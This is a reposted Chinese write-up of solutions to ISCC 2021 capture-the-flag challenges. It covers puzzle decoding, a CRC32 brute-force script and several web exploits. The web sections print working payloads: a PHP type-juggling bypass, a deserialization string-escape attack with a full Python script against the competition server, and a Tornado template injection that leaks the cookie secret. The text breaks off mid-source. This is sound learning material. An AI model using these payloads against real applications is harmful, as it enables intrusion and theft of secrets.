[ISCC 2021]部分wp
Posted huamanggg
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[ISCC 2021]部分wp相关的知识,希望对你有一定的参考价值。
文章目录
海市蜃楼-1
直接改后缀zip,搜flag直接找到
Retrieve the passcode
给了一堆三维的数据,提到了scatter,所以猜测是利用python来画散点图
1:3:1;1.25:3:1;1.5:3:1;1.75:3:1;2:3:1;2:2.75:1;2:2.5:1;2:2.25:1;2:2:1;2:1.75:1;2:1.5:1;1:2.25:1;1.25:2.25:1;1.5:2.25:1;1.75:2.25:1;1:1.5:1;1.25:1.5:1;1.5:1.5:1;1.75:1.5:1;3:3:1;3.25:3:1;3.5:3:1;3.75:3:1;4:3:1;3.25:2.25:1;3.5:2.25:1;3.75:2.25:1;4:2.25:1;4:2:1;4:1.75:1;4:1.5:1;3:1.5:1;3.25:1.5:1;3.5:1.5:1;3.75:1.5:1;3:1.75:1;3:2:1;3:2.25:1;3:2.5:1;3:2.75:1;5:3:1;5.25:3:1;5.5:3:1;5.75:3:1;6:3:1;6:2.25:1;6:2:1;6:1.75:1;6:1.5:1;5.75:1.5:1;5.5:1.5:1;5.25:1.5:1;5:1.5:1;5:2.25:1;5.25:2.25:1;5.5:2.25:1;5.75:2.25:1;5:2.5:1;5:2.75:1;7:3:1;7.25:3:1;7.5:3:1;7.75:3:1;8:3:1;8:2.75:1;8:2.5:1;8:2.25:1;8:2:1;8:1.75:1;8:1.5:1;9:3:1;9.25:3:1;9.5:3:1;9.75:3:1;10:3:1;10:2.75:1;10:2.5:1;10:2.25:1;9.75:2.25:1;9.5:2.25:1;9.25:2.25:1;9:2.25:1;9:2:1;9:1.75:1;9:1.5:1;9.25:1.5:1;9.5:1.5:1;9.75:1.5:1;10:1.5:1;11:3:1;11.25:3:1;11.5:3:1;11.75:3:1;12:3:1;12:2.75:1;12:2.5:1;12:2.25:1;12:2:1;12:1.75:1;12:1.5:1;11.75:1.5:1;11.5:1.5:1;11.25:1.5:1;11:1.5:1;11:1.75:1;11:2:1;11:2.25:1;11:2.5:1;11:2.75:1;11.25:2.25:1;11.5:2.25:1;11.75:2.25:1
脚本编写
#导入必要的模块
import matplotlib.pyplot as plt
with open('scatter.txt','r') as n:
all = n.read()
a = all.split(";")
x_value = []
y_value = []
for i in a:
x_value.append(i.split(':')[0])
y_value.append(i.split(":")[1])
# print(x_value)
# print(y_value)
plt.scatter(x_value,y_value,1)
#设置X轴标签
plt.xlabel('X')
#设置Y轴标签
plt.ylabel('Y')
#设置标题
plt.title("test")
#设置图标
plt.legend('x1')
#显示
plt.show()
稍微改一下宽高,得到一个这个东西,看不出来是个啥
颠倒一下,得到密码365728
打开pdf
下面是莫斯密码
-.-. --- -. --. .-. .- - ..- .-.. .- - .. --- -. - .... . ..-. .-.. .- --. .. ...
-.-. .... .- .-.. .-.. . -. --. . .. ... -.-. -.-. - .-- --- --.. . .-. --- - .-- --- --- -. .
解码结果,flag得到
CONGRATULATIONTHEFLAGIS
CHALLENGEISCCTWOZEROTWOONE
我的折扣是多少
有一个mp3的文件,估计就是mp3
\\u006b\\u0072\\u0077转成字符串是krw
在压缩文件后面找到base64编码
解出来是gcc666
使用密码krwgcc666解开压缩包
里面还有一串base编码:eW91Zm91bmRtZT8=
base64解出来是:youfoundme?
mp3stego解出来是这个:ISCC{LFXXK4TENFZWG33VNZ2DELRRGU======}
base32解出来是Yourdiscount2.15
flag是ISCCP{Yourdiscount2.15}
小明的表情包
AVARGRRA AVARGL AVAR凯撒加密,偏移量13的时候出来,年份为1999
小明说如果你记得我的出生的日月年,格式是日月年
直接爆破,从01011999到12311999
拿到密码07071999
010eiditor查看,有jpg的文件尾,缺少文件头,把前面两个改成FF D8就可以了
Hack the Victim
题目描述
Victim 为含有漏洞的智能合约,在 Rinkeby 测试网络的合约地址为:
0x68D28fE315E6A344029D42915Fbc7af4261AB833
接口为:
contract Victim {
function withdraw() public returns (string memory ){
return "ISCC{xxxxx}";
}
}
请编写攻击合约,实现对 Victim 的攻击,获取 flag。
利用合约地址:0x68D28fE315E6A344029D42915Fbc7af4261AB833
拿到16进制数据
转字符串
美人计
打开里面的二维码,扫到base64
解码得到
U2FsdGVkX1/Ka+sScszwQkwhO+VLiJwV/6IFg5W+TfNHGxG2qZsIr2iwMwb9X9Iu
3GuGWmPOtO27z8vNppD2D50fwsD+8VWhdtW9J4cewYivH/Z/7GoUvcJXJMrvf+vu
+CBqWDGp6HWd0e5whGhuzlK0ZtBcDZdPDSIHA7+GuUlifp8PcFCtJPgiuk143REE
+pKFiSJXolXLR1vJCdGY9w5mXFbiWPrb2U7r/v5noP8=
看到了开头是Salted
查了一下,利用openssl对文件进行加密和解密
把word改成zip,里面还有一个图片
U2FsdGVkX19eOY/pDh8+vPAcvfkLi1XLUneVzjLLOMul53sKK8UpobdCOiPIv4KE
直接看图片里面的内容,要我们用AES解密一下,但是题目说不能信美人的话,所以我们用DES
.T.r. y. .A.E. S.,. .a. n.d. .y. o.u. .w. i.l.l. . g.e.t. . t.h.e. . f.l.a.g. … .I.S. C.C.2.0. 2.1…A. E.S.,. . I.S.C.C. 2.0.2.0. …o.u. . w.i.l.l. .g.e.t. .t.h.e. .s.e.c. r.e.t. . f.r.o.m. .m.e… o.f. .d. i.f.f.e. r.e.n.t. .c.o.l. o.r… W.h.a.t. .I. .w. a.n.t. . t.o. .t. e.l.l. . y.o.u. . i.s. .i. n. .t.h. e. .Q.R. .c.o.d. e…T. r.y. .A. E.S.,. . a.n.d. . y.o.u. . w.i.l.l. .g.e.t. .t.h.e. .f.l.a. g…T. r.y. .A. E.S.,. . t.h.e.n. .I. .w. i.l.l. . b.e. .w. i.t.h. . y.o.u… …T.r.y. .A.E.S. ,. .I. . w.i.l.l. .b.e. . w.i.t.h. .y.o.u. …T.r. y. .A.E. S…Try AES.b.a. s.e.6.4. …base64 … … .f…
所以思路应该是用openssl来用DES解密一下,密钥为ISCC2021
有关DES解码可以看这里
发现第一个图片扫出来的没有,在第二个图片里面
李华的红包
binwalk出了一个压缩文件,里面有个txt,内容是24,43,13,13,12,21,43
敲击码:先列后行
解出是ISCCBFS
小明的宠物兔
binwalk得到flag.txt还有一个加密的压缩包
flag.txt里面有base64,看一下
看到了salted,是用openssl加密的
看图片里面说要碰撞,那加密了的zip就很容易联想到CRC碰撞
python2脚本:
#coding:utf-8
import zipfile
import string
import binascii
def CrackCrc(crc):
for i in dic:
for j in dic:
for p in dic:
for q in dic:
for m in dic:
s = i + j + p + q + m
if crc == (binascii.crc32(s) & 0xffffffff):
print s
dic = string.ascii_letters + string.digits + '+/='
crc = 0x3DACAC6B
CrackCrc(crc)
跑个几分钟就跑出来了:DCr4m
解了一下发现还不对。。
原来可能是同一个CRC32可能对应了多个字符串
再跑下去有一个:(0_0)这个就跑出来了
ISCC客服冲冲冲(一)
直接f12把按钮给删掉,点过他就拿到了
这是啥
把内容放出来,是一些(!![]+[])这种类型的东西
这是jsfuck,文档
直接去这里可以执行代码
http://www.jsfuck.com/
Web01
根据提示来到了这里
<?php
<p>code.txt</p>
if (isset ($_GET['password'])) {
if (preg_match ("/^[a-zA-Z0-9]+$/", $_GET['password']) === FALSE)
{
echo '<p>You password must be alphanumeric</p>';
}
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
{
if (strpos ($_GET['password'], '*-*') !== FALSE)
{
die('Flag: ' . $flag);
}
else
{
echo('<p>*-* have not been found</p>');
}
}
else
{
echo '<p>Invalid password</p>';
}
}
?>
主要看这里
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
使用科学计数法2e9就绕过了,再往后面加个*-*就出来了
payload:
?password=2e9*-*
登录
源码泄露www.zip
拿到代码,发现有注册页面,随便注册一个页面,登陆后有一个update信息,可以上传文件
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
$username = $_SESSION['username'];
if(!preg_match('/^\\d{11}$/', $_POST['phone']))
die('Invalid phone');
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
else {
?>
继续看源码,得到上传路径,但是MD5加密了,所以后缀是没有了
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
这样一来,传配置文件也是没用了
看到了config.php里面有flag
<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = '';
$config['database'] = '';
$flag = '';
?>
class.php里面的filter函数里面有preg_replace,可能漏洞出现在这里
public function filter($string) {
$escape = array('\\'', '\\\\\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
结合这个猜测是反序列化的字符串逃逸
$photo = base64_encode(file_get_contents($profile['photo']));
先分析一下这个过滤:
-
implode()函数:
implode(separator,array)
把数组里的元素以某字符连接 -
preg_replace()函数:
preg_replace ( mixed $pattern , mixed $replacement , mixed $subject
用第三个参数匹配第一个参数的正则,换成第二个参数
第一个preg_replace():
把'
和\\\\
换成_
第二个preg_replace():
匹配/select|insert|update|delete|where/
换成hacker
其他的几个都是六个字符,和hacker一样长,所以我们选择where来对他进行逃逸
当我们更新了信息后,执行这个方法,经过filter过滤后再赋值到$username里面
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
生成这样的序列化字符串
a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:10:"123@qq.com";s:8:"nickname";s:3:"123";s:5:"photo";s:39:"upload/25a452927110e39a345a2511c57647f2";}
既然photo会被md5加密,我们就逃逸出来,构造一个photo出来,所以 从nickname里面下手,把photo的内容改成config.php
一个where换成hacker会多一个字符,";s:5:"photo";s:10:"config.php";}
这里一共有33个字符 ,所以写33个where就刚刚好把伪造的photo给挤出去了
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";s:5:"photo";s:10:"config.php";}
问题又来了,太长了
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
绕过方法是数组绕过:
数组绕过的话,payload还得改,要用";}
来闭合了
格式是这样的:
a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:10:"123@qq.com";s:8:"nickname";a:1:{i:0;s:3:"123";}s:5:"photo";s:39:"upload/d41d8cd98f00b204e9800998ecf8427e";}
所以";}s:5:"photo";s:10:"config.php";}
长度为34
payload:
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
改为数组形式
成功拿到config.php的源码
一把嗦脚本:
#-*- encoding: utf-8 -*-
import requests
import re
import base64
class Fuck:
def __init__(self):
self.url = "http://39.96.91.106:7010/"
self.s = requests.session()
def register(self, username):
url = self.url + "register.php"
data = {"username": username, "password": "123123"}
self.s.post(url, data=data)
def login(self, username):
url = self.url + "index.php"
data = {"username": username, "password": "123123"}
self.s.post(url, data=data)
def update(self):
url = self.url + "update.php"
files = {"photo": ("fuck", "123123123123123123123123123123")}
data = {"phone": "11111111111", "email": "123@qq.com", "nickname[]":
'''wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}'''
}
self.s.post(url, data=data, files=files)
def profile(self):
url = self.url + "profile.php"
res = self.s.get(url)
flag = re.findall(re.compile(r'(?<=base64,).*(?=" class)'), res.text)
flag = re.findall(re.compile(r'(?<=flag = \\').*(?=\\';)'), base64.b64decode(flag[0]).decode())
print(flag[0])
if __name__ == "__main__":
username = ""
fuck = Fuck()
fuck.register(username)
fuck.login(username)
fuck.update()
fuck.profile()
tornado
这题和[护网杯2018]easy tornado一样的
链接
重点在md5(cookie_secret+md5(filename))
filename我们知道了是/fllllllllllllaaaaaag
所以问题是找到cookie_secret
在文档中有写到cookie_secret在Application对象settings属性中
hint里面写到了render,那么说明是存在模板注入,在可以试着随便提交一些东西,会跳转到/error?msg=Error
,在这个msg这里存在模板注入
payload:/error?msg={{handler.settings}}拿到cookie_secret
再加密一下
payload:/file?filename=/fllllllllllllaaaaaag&filehash=1ad9b8e09fbe539bc5a6f2c8bc0ab5db
拿到flag
payload:
/error?msg={{handler.settings}}
/file?filename=/fllllllllllllaaaaaag&filehash=1ad9b8e09fbe539bc5a6f2c8bc0ab5db
which is the true iscc
注释了一些提示
<a href="/?whatareyounongshane=src">我真的是源码?</a>
<a href="/?whatareyounongshane=cmd">干点好事!</a>
<a href="/?whatareyounongshane=upload">送点东西!</a>
<a href="/?whatareyounongshane=tellmetruth">快告诉我真相!</a>
源码:
<?php
session_start();
ini_set('max_execution_time', '5');
set_time_limit(5);
$status = "new";
$cmd = "whoami";
$is_upload = false;
$is_unser_finished = false;
$iscc_file = NULL;
class ISCC_Upload {
function __wakeup() {
global $cmd;
global $is_upload;
$cmd = "whoami";
$_SESSION[ISCC2018Misc